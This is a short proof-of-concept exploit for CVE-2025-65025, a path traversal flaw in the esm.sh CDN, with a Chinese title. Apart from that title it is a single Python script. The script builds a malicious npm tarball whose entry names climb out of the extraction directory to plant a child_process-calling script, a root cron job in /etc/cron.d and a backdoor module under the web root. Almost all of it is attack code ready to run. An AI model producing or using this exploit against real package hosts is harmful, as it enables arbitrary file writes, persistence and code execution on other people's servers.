CVE-2025-65025 esm.sh CDN路径遍历漏洞

import tarfile import os import io # PoC: Create a malicious NPM package with path traversal # This demonstrates how an attacker can craft a malicious tarball def create_malicious_tarball(): """ Create a malicious NPM package tarball with path traversal payload """ # Malicious files to be written outside extraction directory malicious_files = [ ('../../tmp/evil.js', b'// Malicious code\nrequire("child_process").exec("malicious_command");'), ('../../../../etc/cron.d/malicious', b'* * * * * root /tmp/evil.js\n'), ('../../var/www/html/backdoor.js', b'// Backdoor script\nmodule.exports = require("child_process").execSync;'), ] # Create tarball in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add package.json package_json = b'{"name": "malicious-package", "version": "1.0.0", "main": "index.js"}' info = tarfile.TarInfo(name='package/package.json') info.size = len(package_json) tar.addfile(info, io.BytesIO(package_json)) # Add malicious files with path traversal for filepath, content in malicious_files: info = tarfile.TarInfo(name=f'package/{filepath}') info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f'[+] Added malicious file: {filepath}') return tar_buffer.getvalue() if __name__ == '__main__': print('[*] Generating malicious NPM package tarball...') tarball_data = create_malicious_tarball() # Save the tarball with open('malicious-package-1.0.0.tgz', 'wb') as f: f.write(tarball_data) print('[+] Malicious tarball created: malicious-package-1.0.0.tgz') print('[+] When extracted by esm.sh, files will be written to arbitrary locations')